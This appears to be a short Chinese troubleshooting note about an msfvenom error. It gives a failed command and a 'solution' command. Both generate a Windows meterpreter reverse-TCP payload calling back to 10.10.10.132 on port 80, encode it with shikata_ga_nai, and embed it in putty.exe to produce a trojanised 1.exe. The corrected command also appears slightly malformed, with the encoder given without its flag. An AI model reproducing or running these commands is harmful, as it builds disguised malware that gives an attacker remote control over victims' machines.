error: you must select an arch for a custom payload
具体信息:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.10.10.132 lport=80 R | msfvenom -e -t exe -x /home/z9m8r8/test/test2/putty.exe -k -o 1.exe -e x86/shikata_ga_nai -c 5 Attempting to read payload from STDIN... No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder or badchars specified, outputting raw payload Payload size: 299 bytes Error: You must select an arch for a custom payload
解决:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.10.10.132 lport=80 R | msfvenom -a x86 --platform Windows --format=exe -x putty.exe x86/shikata_ga_nai --format=exe > 1.exe
不忘初心,方得始终。